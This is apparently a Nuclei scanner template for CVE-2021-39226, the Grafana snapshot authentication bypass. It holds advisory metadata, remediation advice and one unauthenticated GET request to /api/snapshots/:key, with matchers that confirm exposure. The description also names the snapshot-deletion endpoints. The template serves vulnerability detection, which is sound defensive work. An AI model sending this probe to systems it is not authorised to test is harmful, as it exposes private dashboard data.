id: CVE-2021-39226

info:
  name: Grafana Snapshot Authentication Bypass
  author: Evan Rubinstein
  description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
  remediation: "This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects."
  reference:
    - https://github.com/advisories/GHSA-69j6-29vr-p3j9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
  severity: critical
  tags: cve,cve2021,grafana
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-39226
    cwe-id: CWE-200

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/snapshots/:key"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"isSnapshot":true'

# Enhanced by cs on 2022/02/22